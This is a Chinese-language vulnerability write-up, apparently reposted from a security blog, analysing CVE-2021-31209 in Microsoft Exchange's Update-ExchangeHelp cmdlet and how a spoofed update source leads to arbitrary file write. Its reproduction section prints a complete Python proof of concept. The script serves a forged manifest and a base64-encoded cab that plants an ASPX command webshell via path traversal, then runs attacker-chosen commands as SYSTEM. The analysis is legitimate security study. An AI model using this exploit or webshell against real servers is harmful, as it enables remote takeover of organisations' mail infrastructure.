CVE-2021-31209 分析学习

admin 2022年6月30日01:38:06CVE-2021-31209 分析学习已关闭评论34 views字数 6300阅读21分0秒阅读模式

0x00 背景

这个漏洞是在2020年11月中旬发布的漏洞,编号为CVE-2021-31209,该漏洞需要借助MITM攻击,也就是当管理员在Exchange Management Shell中运行Update-ExchangeHelp or Update-ExchangeHelp -Force命令时,在内网的攻击者可以利用中间人攻击劫持请求触发远程代码执行。

Update-ExchangeHelp,这条管理命令仅在本地Exchange服务器可用并且是Exchange2013以上。

使用此cmdlet可以在本地计算机上查找、下载和安装Exchange 命令行管理程序的最新可用帮助;此cmdlet 会自动连接到预定义的网站,将本地 Exchange 服务器的版本和安装的语言与更新包中的可用内容进行比较,然后下载并安装更新的 Exchange 命令行管理程序帮助。

具体正常情况下使用如图:

CVE-2021-31209 分析学习

0x01 更新流程

首先,现在已经了解这个命令是用来更新Exchange cmdlet的参考文章的,查阅文档发现此命令会连接预定义的网站,将本地的Exchange服务器版本和安装的语言包与更新包内容进行比较,然后下载并安装更新的Exchange cmdlet帮助文档。其可以直接联网更新,并且可以为其配置连接到内网的更新源 ,问题就出现在这里。

我们不妨先看看配置内网更新源使Exchange这条命令Update-ExchangeHelp从内部源更新的过程:

  1. 下载ExchangeHelpInfo.xml文件
  2. 下载更新包,在内部 Web 服务器上发布更新包,并自定义ExchangeHelpInfo.xml文件
  3. 在内部 Web 服务器上发布自定义的ExchangeHelpInfo.xml文件。
  4. 修改 Exchange 服务器的注册表以指向自定义的ExchangeHelpInfo.xml文件。
  5. 使用命令更新

ExchangeHelpInfo.xml文件的结构如下

<?xml version="1.0" encoding="utf-8"?>
<ExchangeHelpInfo>
<HelpVersion>
<Version>15.01.0225.030-15.01.0225.050</Version>
<Revision>001</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>https://download.microsoft.com/download/8/7/0/870FC9AB-6D22-4478-BFBF-66CE775BCD18/ExchangePS_Update_En.cab</CabinetUrl>
</HelpVersion>
</ExchangeHelpInfo>

<Version>:指的是更新包适用的版本范围

<Revision>:Exchange发布更新包的顺序

<CulturesUpdated>:更新包适用的语言

<CabinetUrl>:标示此更新包的位置

所以使用内网自己来更新Exchange cmdlet的帮助文档,只需下载好需要的.cab文件,放到内网Web服务器,然后更改对应的xml文件,并把自定义的ExchangeHelpInfo.xml文件也放在Web服务器

最后对应上述步骤第四步,修改注册表即可自动去定义的地址更新。

0x02 漏洞分析

Microsoft.Exchange.Management.dll中,定义了Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand类。

在函数UpdatableExchangeHelpCommand.InternalProcessRecord()中调用了HelpUpdater.UpdateHelp()方法

CVE-2021-31209 分析学习

查看HelpUpdater.UpdateHelp()中会调用HelpDownloader.DownloadManifest(),看名字可以猜测是下载ExchangeHelpInfo.xml这个文件的。

CVE-2021-31209 分析学习

继续进入HelpDownloader.DownloadManifest(),发现其将HelpUpdater.ManifestUrl这一值赋给downloadUrl并调用HelpDownloader.AsyncDownloadFile()下载

CVE-2021-31209 分析学习

继续查看HelpDownloader.AsyncDownloadFile()内,发现就是调用webClient.DownloadFileAsync()方法下载这个URL并存入localFilePath

CVE-2021-31209 分析学习

localFilePath就是HelpUpdater.LocalManifestPath,并不可控。

CVE-2021-31209 分析学习


接着还需要看一下HelpUpdater.ManifestUrl这一值从哪里被设置的。

分析所使用的ManifestUrl,发现其在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater.LoadConfiguration()中被设置,并且LoadConfiguration()UpdatableExchangeHelpCommand.InternalValidate()调用。

CVE-2021-31209 分析学习

所以直接查看LoadConfiguration()是如何配置ManifestUrl这个值的。

CVE-2021-31209 分析学习

如果不存在注册表SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp,则创建ManifestUrl项并赋值为http://go.microsoft.com/fwlink/p/?LinkId=287244


接着分析完HelpUpdater.UpdateHelp()方法中调用完helpDownloader.DownloadManifest()大致发生的事情后,回到该方法继续查看后面做了什么,毕竟目前来看还有一个.cab文件没有被请求。

CVE-2021-31209 分析学习

首先会在下载完xml问候,调用helpDownloader.SearchManifestForApplicableUpdates(),可以看到参数为CurrentHelpVersionCurrentHelpRevision

此函数会根据xml解析合适的更新包,会判断xml文件中的版本范围,以及更新的补丁号也就是<Revision>对应的值,以及提取<CabinetUrl>中的值。

解析起始版本号、结束版本号、补丁号以及<CulturesUpdated>对应的语言相关代码:

CVE-2021-31209 分析学习

判断版本号以及补丁号代码:

CVE-2021-31209 分析学习

接着判断更新包的语言是否匹配

string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);

然后就会执行到

helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);

调用helpDownloader.DownloadPackage(),其中又会调用HelpDownloader.AsyncDownloadFile()下载cab文件

CVE-2021-31209 分析学习

然后路径存储为:

CVE-2021-31209 分析学习

最后HelpInstaller.ExtractToTemp()方法去提取cab文件

CVE-2021-31209 分析学习

在其中调用Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles()将之前上传到helpUpdater.LocalCabinetPath的文件提取到helpUpdater.LocalCabinetExtractionTargetPath路径

继续跟进这个函数,发现其将cab文件上传的路径、将要提取的目的路径、还有filter变量放入非托管内存

CVE-2021-31209 分析学习

最后调用

num = <Module>.Microsoft.Exchange.CabUtility.EmbeddedCAB.ExtractCab(ptr, ptr2, ptr3, false);

这是一个导出函数,没有检查进入此函数的路径,所以导致了可以将cab提取到任何路径。

到这里其实只是管理员自己可以将此文件更新的时候写入任何目录,并没有什么影响,我们如果可以把注册表内的ManifestUrl项修改为伪造的内网更新源,就可以劫持管理员去更新帮助手册的行为从而达到无需任何身份任意写入目录的效果。

所以这也是一个比较有意思的地方,作者使用ARP去欺骗Exchange服务器连接我们伪造的更新服务器,因为上述提到的注册表的值默认情况下都是要连接http://go.microsoft.com/fwlink/p/?LinkId=287244这个地址。作者使用bettercab去做arp劫持,等待管理员执行Update-ExchangeHelp即可完成攻击。

0x03 漏洞复现

我们这里选择直接更改注册表让其连接我们的伪造服务器来复现此漏洞

CVE-2021-31209 分析学习

然后首先要调整xml文件,使其几个验证的项通过验证

查询本地Exchange版本

CVE-2021-31209 分析学习

修改xml,这类顺带需要修改语言包

CVE-2021-31209 分析学习

然后使用makecab准备放到web上的cab文件

CVE-2021-31209 分析学习

接着使用稍作修改的原始POC,并在Exchange执行命令即可触发RCE

CVE-2021-31209 分析学习

脚本如下:

```
import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CabRequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, args):
return
def do_GET(self):
if self.path.endswith("poc.xml"):
print("(+) delivering xml file...")
xml = """


15.01.0225.042-15.01.0999.999
%s
zh-HanS
http://%s:8000/poc.cab


""" % (r, s)
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
elif self.path.endswith("poc.cab"):
print("(+) delivering cab file...")
# created like: makecab /d "CabinetName1=poc.cab" /f files.txt
# files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
# poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
#
stage_2 = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
p = base64.b64decode(stage_2.encode('utf-8'))
self.send_response(200)
self.send_header('Content-Type', 'application/x-cab')
self.send_header("Content-Length", len(p))
self.end_headers()
self.wfile.write(p)
return

if name == 'main':
if len(sys.argv) != 5:
print("(+) usage: %s " % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
sys.exit(-1)
t = sys.argv[1]
s = sys.argv[2]
port = 8000
r = sys.argv[3]
c = sys.argv[4]
print("(+) server bound to port %d" % port)
print("(+) targeting: %s using cmd: %s" % (t, c))
httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
p = { "c" : "/c %s" % c }
try:
while 1:
req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
if req.status_code == 200:
break
print("(+) executed %s as SYSTEM!" % c)
except KeyboardInterrupt:
pass
```

0x04 总结

这是一个非常简单的漏洞,思路比较有趣,所以拿来了解学习一遍。上次听说ARP攻击还是一几年左右大家都在搞C段用Cain去改别人主页。整个的流程比较有趣,算是也给大家提供了一个新的挖掘思路。

参考

https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html

https://docs.microsoft.com/en-us/powershell/module/exchange/update-exchangehelp

最后,欢迎各位师傅关注微信公众号 黑客在思考 ,一起学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日01:38:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-31209 分析学习http://cn-sec.com/archives/1148838.html